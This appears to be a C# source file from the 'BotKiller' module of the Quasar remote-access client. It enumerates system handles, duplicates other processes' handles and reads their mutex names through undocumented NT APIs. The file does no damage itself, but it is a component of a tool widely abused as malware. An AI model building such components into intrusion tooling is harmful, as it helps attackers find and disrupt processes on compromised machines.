using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; using System.Threading.Tasks; namespace Quasar.Client.BotKiller { public class MutexScanner { private const int QUERY_TIMEOUT_MS = 100; // Timeout for each handle query public static List GetProcessMutexes(Process process) { List mutexList = new List(); int nHandleInfoSize = 0x10000; IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize); int nLength = 0; try { while (Win32API.NtQuerySystemInformation(16, ipHandlePointer, nHandleInfoSize, ref nLength) == Win32API.STATUS_INFO_LENGTH_MISMATCH) { nHandleInfoSize = nLength; Marshal.FreeHGlobal(ipHandlePointer); ipHandlePointer = Marshal.AllocHGlobal(nLength); } long lHandleCount; IntPtr ipHandle; if (Is64Bits()) { lHandleCount = Marshal.ReadInt64(ipHandlePointer); ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8); } else { lHandleCount = Marshal.ReadInt32(ipHandlePointer); ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4); } int processHandleCount = 0; for (long i = 0; i < lHandleCount; i++) { try { Win32API.SYSTEM_HANDLE_INFORMATION shHandle = new Win32API.SYSTEM_HANDLE_INFORMATION(); if (Is64Bits()) { shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION)); ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)) + 8); } else { ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION))); shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION)); } if (shHandle.ProcessID != process.Id) continue; processHandleCount++; // Limit handles per process to prevent hanging if (processHandleCount > 500) break; string mutexName = GetMutexNameWithTimeout(shHandle, process); if (!string.IsNullOrEmpty(mutexName)) { // Filter out Windows system mutexes if (mutexName.Contains("WilStaging_") || mutexName.Contains("WilError_")) continue; mutexList.Add(mutexName); } } catch { } } } catch { } finally { Marshal.FreeHGlobal(ipHandlePointer); } return mutexList; } private static string GetMutexNameWithTimeout(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process) { string result = null; var task = Task.Run(() => { try { result = GetMutexName(shHandle, process); } catch { } }); if (!task.Wait(QUERY_TIMEOUT_MS)) { // Timeout - skip this handle return null; } return result; } private static string GetMutexName(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process) { IntPtr m_ipProcessHwnd = IntPtr.Zero; IntPtr ipHandle = IntPtr.Zero; IntPtr ipBasic = IntPtr.Zero; IntPtr ipObjectName = IntPtr.Zero; try { m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.DupHandle, false, process.Id); if (m_ipProcessHwnd == IntPtr.Zero) return null; if (!Win32API.DuplicateHandle(m_ipProcessHwnd, shHandle.Handle, Win32API.GetCurrentProcess(), out ipHandle, 0, false, Win32API.DUPLICATE_SAME_ACCESS)) return null; Win32API.OBJECT_BASIC_INFORMATION objBasic = new Win32API.OBJECT_BASIC_INFORMATION(); ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION))); int nLength = 0; int result = Win32API.NtQueryObject(ipHandle, 0, ipBasic, Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)), ref nLength); if (result != 0) { Marshal.FreeHGlobal(ipBasic); return null; } objBasic = (Win32API.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, typeof(Win32API.OBJECT_BASIC_INFORMATION)); Marshal.FreeHGlobal(ipBasic); ipBasic = IntPtr.Zero; if (objBasic.NameInformationLength <= 0 || objBasic.NameInformationLength > 65536) return null; nLength = objBasic.NameInformationLength; ipObjectName = Marshal.AllocHGlobal(nLength); // Try to query object name with retry limit int retries = 0; while ((result = Win32API.NtQueryObject(ipHandle, 1, ipObjectName, nLength, ref nLength)) == -1073741820 && retries < 3) { Marshal.FreeHGlobal(ipObjectName); if (nLength <= 0 || nLength > 65536) return null; ipObjectName = Marshal.AllocHGlobal(nLength); retries++; } if (result != 0) { Marshal.FreeHGlobal(ipObjectName); return null; } Win32API.OBJECT_NAME_INFORMATION objObjectName = (Win32API.OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ipObjectName, typeof(Win32API.OBJECT_NAME_INFORMATION)); IntPtr ipTemp; if (Is64Bits()) ipTemp = new IntPtr(Convert.ToInt64(objObjectName.Name.Buffer.ToString(), 10) >> 32); else ipTemp = objObjectName.Name.Buffer; if (ipTemp != IntPtr.Zero && objObjectName.Name.Length > 0) { string name = Marshal.PtrToStringUni(ipTemp, objObjectName.Name.Length / 2); Marshal.FreeHGlobal(ipObjectName); ipObjectName = IntPtr.Zero; // Extract mutex name from full path if (!string.IsNullOrEmpty(name) && name.Contains("\\")) { string[] parts = name.Split('\\'); if (parts.Length > 4) return parts[4]; } return name; } if (ipObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ipObjectName); } catch { } finally { if (ipBasic != IntPtr.Zero) Marshal.FreeHGlobal(ipBasic); if (ipObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ipObjectName); if (ipHandle != IntPtr.Zero) Win32API.CloseHandle(ipHandle); if (m_ipProcessHwnd != IntPtr.Zero) Win32API.CloseHandle(m_ipProcessHwnd); } return null; } private static bool Is64Bits() { return Marshal.SizeOf(typeof(IntPtr)) == 8; } } }